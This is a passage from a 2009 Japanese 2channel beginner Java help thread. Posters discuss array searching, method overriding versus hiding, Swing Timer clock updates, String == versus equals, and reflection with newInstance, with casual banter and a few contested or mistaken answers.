flag使うか、オブジェクト介してcontainsメソッドで探させるか
って感じだね。
0906デフォルトの名無しさん
2009/05/12(火) 00:27:09for( int i=0; i<name.length; i++ ){
if( name[i].equals( kensaku ) ) { str = kensaku; }
}
System.out.println(str);
ふつうは >>901 みたく flag とか state とか使うけど。
あるかないかだけ分かればいいなら >>904 みたいに手を抜くw
0907デフォルトの名無しさん
2009/05/12(火) 00:40:31↑の書き方だと、ループのたびに毎回配列の長さを参照しにいく
配列がクソ大きくなるとlengthでサイズを引っ張るのにも
コストを要するようになるから、あらかじめサイズは外に出しておいた方がいい
0908デフォルトの名無しさん
2009/05/12(火) 00:43:15でもってさ、フラグを使うなら名前も found とかにするよな。
初期 found = false
見付かったら found = true
0909901
2009/05/12(火) 00:46:04Arraysクラスの勉強になった。おれもまだまだだなw
import java.io.*;
import java.util.*;
public class Test {
public static void main(String kensaku[]) {
String[] name = {"abc", "def", "ghi"};
if (Arrays.asList(name).contains(kensaku[0])) {
System.out.println("Matched.");
} else {
System.out.println("No name matched.");
}
}
}
<実行結果>
$ javac Test.java
$ java Test abc
Matched.
$ java Test def
Matched.
$ java Test ghi
Matched.
$ java Test a
No matched.
$
0911デフォルトの名無しさん
2009/05/12(火) 00:51:39てけとーAPLでも例外チェックだけは怠らない方がいいと思われ
わかって書いてるなら失礼しました
0912デフォルトの名無しさん
2009/05/12(火) 00:57:09おまえさ、name.length が strlen(str) みたいに毎回配列の長さカウントしてると思ってる?
0913901
2009/05/12(火) 00:58:20一部分だったんでてけとーに書きましたw
今気づいたが、>>909の実行結果、正しくはNo matched.→No name matched.だなw
No matched.で動作テストしたあと、ソースのメッセージ変えるからこういうことになったorz
0914デフォルトの名無しさん
2009/05/12(火) 01:09:47ループの終了条件でオブジェクトのメソッドやフィールドを使うと、
毎回ヒープ領域への参照が発生するのでは?
使用領域がどれだけあるかが不明な以上、4バイト符号付整数を固定で持った方がいいと思うんだが。
申し訳ないが、今実際に計測してみたわけじゃない、
おかしなこと言っていたら失礼
0915デフォルトの名無しさん
2009/05/12(火) 01:14:54配列って引数にできますかね。
0916デフォルトの名無しさん
2009/05/12(火) 01:17:04String[] array;
bar(array);
}
public void bar(String[] arg) {
// something
}
0917デフォルトの名無しさん
2009/05/12(火) 01:26:08解決しました。
0918デフォルトの名無しさん
2009/05/12(火) 01:31:01DOS 時代のお馬鹿 C コンパイラ+i486 でもそんなのが実測に現れた事はない。
0919デフォルトの名無しさん
2009/05/12(火) 03:58:230920デフォルトの名無しさん
2009/05/12(火) 10:49:07"ワン"x4ではなく"ギャアーッ"を4回表示する方法があると言われたのですが
どうしても分かりません。
Dogクラスでspeak(int cnt)をオーバーライドせずに
上記動作をさせるにはどうしたらいいのか分かる方いたらお願いいたします。
// Animal
class Animal{
public void speak() {
System.out.println("ギャアーッ");
}
public void speak( int cnt ) {
for(int i=0; i < cnt; i++ )
speak();
}
}
// Dogクラス
class Dog extends Animal {
public void speak() {
System.out.println("ワン");
}
}
// メイン
class Test {
public static void main( String[] args ) {
Dog dog = new Dog();
dog.speak(4);
}
}
0921デフォルトの名無しさん
2009/05/12(火) 11:27:40dog.speak(4);
0922デフォルトの名無しさん
2009/05/12(火) 11:47:40class Animal{
// public void speak() {
private void speak() {
System.out.println("ギャアーッ");
}
0923デフォルトの名無しさん
2009/05/12(火) 11:51:49つまりプライベートな秘所に突っ込んだらアッー!
0924922
2009/05/12(火) 12:03:58// public void speak() {
protected void speak() {
System.out.println("ギャアーッ");
}
0925デフォルトの名無しさん
2009/05/12(火) 12:29:25えーと…たぶんdogインスタンスから呼んで表示させられる、ってことだと思います。
>>922
おあ。出来ました!どなたか解説をorz
出来れば>>923より多少詳しいとありがたいです。
ただ>>924さんのprotectedだとワンが表示されて出来ませんでした。
0926922
2009/05/12(火) 12:47:14コンパイルは出来るのにそんな機能がある理由は知らん。犬も飼いならすとこう吠える。
Dog dog = new Dog();
dog.speak(4);
dog.speak();
0927デフォルトの名無しさん
2009/05/12(火) 12:53:28思わずやってみました
勉強になりましたねえ。
0929長文すみません
2009/05/12(火) 16:06:54* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* ListToday.java
*
* Created on 2009/04/07, 16:33:42
*/
package cutsystemsmple;
import java.awt.Color;
import java.util.Date;
/**
*
* @author 07
*/
public class ListToday extends javax.swing.JFrame {
/** Creates new form ListToday */
public ListToday() {
initComponents();
getContentPane().setBackground(Color.white);
jLabel4.setText(new Date().toString());
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code
* . The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
0930長文すみません
2009/05/12(火) 16:11:49new JokenKensaku().setVisible(true);
if(evt.getSource()==jButton1){this.setVisible(false);}
}
private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {
new MainMenu().setVisible(true);
if(evt.getSource()==jButton3){this.setVisible(false);}
}
private void jMenuItem2ActionPerformed(java.awt.event.ActionEvent evt) {
new MainMenu().setVisible(true);
if(evt.getSource()==jMenuItem2){this.setVisible(false);}
}
private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {
new Keikoku().setVisible(true);
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ListToday().setVisible(true);
}
});
}
0931長文すみません
2009/05/12(火) 16:13:06private javax.swing.JButton jButton1;
private javax.swing.JButton jButton3;
private javax.swing.JComboBox jComboBox1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JMenu jMenu1;
private javax.swing.JMenu jMenu2;
private javax.swing.JMenuBar jMenuBar1;
private javax.swing.JMenuItem jMenuItem1;
private javax.swing.JMenuItem jMenuItem2;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTable jTable1;
// End of variables declaration
}
上記の中のjLabel4.setText(new Date().toString());に入る時刻を1秒間隔で更新したいのですが
どうしたらいいのか分からないんです。自分でも調べてみたのですがさっぱり分からなくて。。
他の質問板で質問したのですがググれカスで終わってしまって、、
よろしければお知恵をお貸しください。
0932デフォルトの名無しさん
2009/05/12(火) 17:04:42pass=jPasswordField1.getPassword();
String Moji="";
Moji=pass[0]+pass[1];
Eclipse使用。jLabel1とjPasswordField1を作り、jPasswordField1に「Javaですよ」と入力してボタンを押すと
jLabel1に「そうですね」、それ以外の場合は「Javaちゃうの?」というメッセージを表示させたいのですが、うまく作れません。
↑のはこんな感じかな?と思って作っただけですが、「pass[0]+pass[1]」の部分に「intからStringには変換出来ない」というエラーが表示されます。
よかったら上手く動作する作り方を教えてください。
0933デフォルトの名無しさん
2009/05/12(火) 17:18:40オブジェクトを取得したいんですが (Windows の WaitForMultipleObject() のイメージ)
良い方法はありませんか? N 個のスレッド立ててそれぞれ監視させるのは無駄ですよね…
0934長文すみません
2009/05/12(火) 17:18:54追記
netbeansを使用してます。
0935デフォルトの名無しさん
2009/05/12(火) 18:09:06なんでたぶんやりたいことは Char[] → String
それにpass[1]の部分が、なにをやりたくてこうしたかがわからない。
pass[1]ってどこにも現れてないのにいきなり出てくるし。
0936デフォルトの名無しさん
2009/05/12(火) 18:12:29要するに時計みたいな表示がしたいって事?
0937長文すみません
2009/05/12(火) 18:14:40そうです。
0938デフォルトの名無しさん
2009/05/12(火) 18:39:490939デフォルトの名無しさん
2009/05/12(火) 18:44:45Timerを使うと良いと思う。javax.swing.Timer
java Swing timer でググればいっぱい出てきた。
0940長文すみません
2009/05/12(火) 18:46:30timerを調べてたんですが、このプログラムにどう組み込むのか分からなくて・・
0941デフォルトの名無しさん
2009/05/12(火) 18:47:10文字列どうしは==では比較できないから、equalsつかえって事。
0942デフォルトの名無しさん
2009/05/12(火) 19:20:45できるんですけども・・・
0943デフォルトの名無しさん
2009/05/12(火) 19:31:16実際やってみた?
system.out.println("あ"=="あ");
でtrueって出ます!とかじゃだめだよ?
0944920
2009/05/12(火) 19:39:42ありがとうございます。
調べたらそういう仕様が出てきました。
Dog.speak()はオーバーライドではなく、まったく別なメソッドになるってことなんですね。
ただこれだとどうやらgetSuperclass()を使う方法みたいです。
invokeとか使うのかな?
かなりの力技になる気がしますが、、。
他にこんな方法で出来るよ!っていうのありますか?あったら教えて頂きたいです。
0945デフォルトの名無しさん
2009/05/12(火) 19:40:40細かい解説は面倒なんで要点だけ
Timerには、Timer( 繰り返す秒数, ActionListenerをインプリメントしたクラス)
っていうコンストラクタがあるから、
ActionListenerをインプリメントした、JLabelでも自作する。
class MyLabel extends JLabel implements ActionListener {
public void actionPerformed(ActionEvent e) {
this.setText( new Date().toString() );
}
}
こんな感じかな。
これをmainで呼んでやればいい
Timer tm = new Timer( 1000, MyLabelのインスタンス);
tm.start();
start()をしないと動き始めないので注意。
0946デフォルトの名無しさん
2009/05/12(火) 19:42:59×これだとどうやら
○どうやら
0947デフォルトの名無しさん
2009/05/12(火) 19:49:16public void windowClosing(WindowEvent e) {
System.exit(0); } });
↑ついにAWTというのに進出しました。
これは無名内部クラスというらしいのですけど、
newでインスタンス生成があって、その後ろに{ }がついていると、
無名内部クラスということでいいのでしょうか。
0948デフォルトの名無しさん
2009/05/12(火) 19:49:21どうだったらいいのか教えて下さい
class Test{
public static void main(String[] args){
String a = "あ";
String b = "あ";
System.out.println(a==b);
}
}
実行結果
true
0949デフォルトの名無しさん
2009/05/12(火) 19:56:24後で痛い目を合えばいいんじゃないの?
その1行のために何時間もにらめっこする羽目になるだけなんだしw
0950デフォルトの名無しさん
2009/05/12(火) 19:58:07教えてくださいよ
もしかしてわからないんですか?
0951デフォルトの名無しさん
2009/05/12(火) 20:11:28==はアドレス情報が同じかどうかを比較
equalsは内容の比較
String a = "aaa";
String b = "aaa";
の場合はa==bは同じアドレス情報を共用してるからtrueだけど
String a = new String("aaa");
String b = new String("aaa");
の場合はa==bはアドレス情報が違うからfalseになってしまう
でもequalsの場合は両方ともtrueになる
ついでにググればすぐわかるよ
0952デフォルトの名無しさん
2009/05/12(火) 20:21:54親切にありがとございます
String a = "aaa";
String b = "aaa";
で
aとbは同じ参照元になるんですか・・・
0953デフォルトの名無しさん
2009/05/12(火) 20:24:370954デフォルトの名無しさん
2009/05/12(火) 22:08:34"aaa"みたいに文字リテラル定義のStringは正準表現になる。
String#intern()された状態ってことだな。
だからアドレスは違っても==で比較できる
new String("aaa")で作られたStringってのは正準表現になってないから==だとfalseになる。
0955954
2009/05/12(火) 22:13:57internするとアドレスも同じになるんだね。
0956デフォルトの名無しさん
2009/05/12(火) 22:52:41==は等値性、equalsは同一性をみる。
0957デフォルトの名無しさん
2009/05/12(火) 22:56:060958デフォルトの名無しさん
2009/05/12(火) 23:01:52public void funcA() {
System.out.println("class A -> funcA");
}
}
class subA extends A {
public void funcA() {
System.out.println("class sub A -> funcA");
}
}
public class Test {
public static void main(String[] args) {
subA obj = new subA();
obj.getClass().getSuperclass().newInstance().funcA();
}
}
で、class A -> funcAって表示させたいんだけど、それ以前にコンパイルエラーになる。
Test.java:19: シンボルを見つけられません。
シンボル: メソッド funcA()
場所 : java.lang.Object の クラス
obj.getClass().getSuperclass().newInstance().funcA();
^
エラー 1 個
わかる方、ご指導くださいm(_ _)m
0959デフォルトの名無しさん
2009/05/12(火) 23:05:14本来は両方アドレス比較で同じ
なお、equalsをオーバーライドしたらhashcodeメソッドもオーバーライドする
0960デフォルトの名無しさん
2009/05/12(火) 23:16:540961デフォルトの名無しさん
2009/05/12(火) 23:26:27String b = "aaa";
のaとb同じアドレス。中身が同じだから。
0962デフォルトの名無しさん
2009/05/12(火) 23:35:570963デフォルトの名無しさん
2009/05/12(火) 23:36:54キャストしたら動くんじゃないの?
0964デフォルトの名無しさん
2009/05/12(火) 23:38:480965デフォルトの名無しさん
2009/05/12(火) 23:53:410966デフォルトの名無しさん
2009/05/12(火) 23:54:31import java.lang.*;
class A {
public void funcA() {
System.out.println("class A -> funcA");
}
}
class subA extends A {
public void funcA() {
System.out.println("class sub A -> funcA");
}
}
public class Test {
public static void main(String[] args) throws InstantiationException, IllegalAccessException{
subA obj = new subA();
((A)(obj.getClass().getSuperclass().newInstance())).funcA();
}
}
って感じで、ものすごくアホくさいソースになったが、キャストしたらできました。
どうもありがとうございますm(_ _)m
キャストする時点で、Superclassの名前わかってんだから、最初からnew A()しろ
っていうツッコミどうぞいらっしゃい的なソースですねw
例外も2つも受けとかないといけないし。(めんどくさいんでthrowsにしたw)
結論:newInstance()使えねーw
0967デフォルトの名無しさん
2009/05/12(火) 23:54:53逆
0968デフォルトの名無しさん
2009/05/13(水) 00:02:48逆というのは、
!str1.equals(str2)がfalseの場合はstr1 != str2もfalseが返る
ということでしょうか?
0969デフォルトの名無しさん
2009/05/13(水) 00:07:42ジェネリクスのプレースホルダ使うと楽しいかも
まだ勉強中の初心者ですまそ
0970デフォルトの名無しさん
2009/05/13(水) 00:08:02それ逆になってないぞ
0971デフォルトの名無しさん
2009/05/13(水) 00:09:58じぇねりくすのぷれーすほるだ。。。
一体それが何なのか想像もつきません。
勉強します。頑張りますorz
0972デフォルトの名無しさん
2009/05/13(水) 00:12:520973デフォルトの名無しさん
2009/05/13(水) 00:19:34ジェネリクスについて少し調べてみて、ほんの少しわかった「気」がする。
つまり、自分でキャストする代わりにコンパイラにやってもらっちゃって、
楽する&実行時例外を未然に防ぐ的な感じ?
>名前でクラスを呼ぶのも出来るはず
クラスを呼ぶ?。。。
わからーんことが多すぎるw
0974デフォルトの名無しさん
2009/05/13(水) 00:29:09>本来は両方アドレス比較で同じ
ばーか
0975デフォルトの名無しさん
2009/05/13(水) 00:34:41>>959は正しいこと書いてるように見えるけど?
0976デフォルトの名無しさん
2009/05/13(水) 00:37:34そもそも、おれには何でStringのequalsメソッドがオーバーライド
されることになるのかわからない。。。
誰かおせーて
0977デフォルトの名無しさん
2009/05/13(水) 00:42:47説明してみろよばーか
0979デフォルトの名無しさん
2009/05/13(水) 00:54:410980デフォルトの名無しさん
2009/05/13(水) 00:58:54ソース:
public class EqTest {
public static void main(String[] args) {
String a = new String("test");
String b = new String("test");
System.out.println("a.equals(b): " + a.equals(b));
System.out.println("a == b: " + (a == b));
}
}
実行結果:
a.equals(b): true
a == b: false
0981デフォルトの名無しさん
2009/05/13(水) 01:06:59String a = new String("test");
String b = new String("test");
って書くと、中身は同じで入れ物が違うStringオブジェクトが実行時に生成されるから、
a.equals(b): true
a == b: false
になる。一方、
String a = "test";
String b = "test";
って書くと、コンパイル時にバイトコードの中に"test"という文字列が一つ用意されて、
String aとString bでコード上の同じの場所の文字列を参照するから、
a.equals(b): true
a == b: true
になる、でおk?
0982デフォルトの名無しさん
2009/05/13(水) 01:14:17おまえは所詮カスだな
0983デフォルトの名無しさん
2009/05/13(水) 01:16:010984デフォルトの名無しさん
2009/05/13(水) 01:36:03テキストの問題を解くだけでは勉強にならないと思い、Javaの演習問題を
集めたサイトを探しているのですが、なかなか良いサイトが見つかりません。
どなたかJavaの演習にちょうど良いサイトがありましたら教えていただけませんでしょうか?
0985デフォルトの名無しさん
2009/05/13(水) 01:50:49名前でクラス呼ぶのはクラスローダで調査。
外部プラグインの機構を作りたいときには必須。
>>984
一冊片付けたのなら、とりあえずゲームアプリでも自作してみたら?15パズルとか。
実際に何か作ってみると、わからない事だらけで、それを調べていくことが勉強になる。
0986デフォルトの名無しさん
2009/05/13(水) 01:55:202 import sun.misc.BASE64Decoder;
3 import sun.misc.BASE64Encoder;
4 import com.sun.org.apache.xml.internal.security.utils.Base64;
5 import com.sun.xml.internal.messaging.saaj.util.Base64;
6 import com.sun.xml.internal.messaging.saaj.packaging.mime.util.BASE64EncoderStream;
7 import com.sun.mail.util.BASE64EncoderStream;
8 import org.apache.commons.codec.binary.Base64;
どれ使えばいいのん・・・
大したコードじゃないから自前で書いたほうが良いのか・・・?
0987デフォルトの名無しさん
2009/05/13(水) 02:10:400988デフォルトの名無しさん
2009/05/13(水) 02:41:170989デフォルトの名無しさん
2009/05/13(水) 03:25:030990デフォルトの名無しさん
2009/05/13(水) 03:27:22http://pc12.2ch.net/test/read.cgi/tech/1242152793/
タッタデー
0991デフォルトの名無しさん
2009/05/13(水) 08:20:27メモリの開放はどうすればいいのでしょうか?
0992デフォルトの名無しさん
2009/05/13(水) 08:58:45ユーザ側で勝手には解放できない。
ByteBuffer#slice()、ByteBuffer#duplicate() でメモリ共有したバッファが壊れる
0993デフォルトの名無しさん
2009/05/13(水) 15:49:15他のスレでは解決しなかったので、教えて下さい。
現在ウイルスバスター2009を利用しております。
このバスターを終了せずに
ttp://www.fxonline.co.jp/market/rates.html
の、例えばUSD/JPYをクリックするとjavaが起動するのですが
チャートが正しく表示されず、エラー-1 GetData Error while reading Data
と表示されます。
どうしたらバスターを終了させず、正しく表示させることができるのでしょうか?
0994デフォルトの名無しさん
2009/05/13(水) 15:54:46お引取りください
0995デフォルトの名無しさん
2009/05/13(水) 15:59:080997デフォルトの名無しさん
2009/05/13(水) 16:09:29板名見えてるか
0998デフォルトの名無しさん
2009/05/13(水) 16:12:16【初心者】Java質問・相談スレッド125【歓迎】
プログラムの話な
0999デフォルトの名無しさん
2009/05/13(水) 16:42:26「javaが起動する」ってのが、いまいち判らん。
VMが?
1000デフォルトの名無しさん
2009/05/13(水) 16:50:1410011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。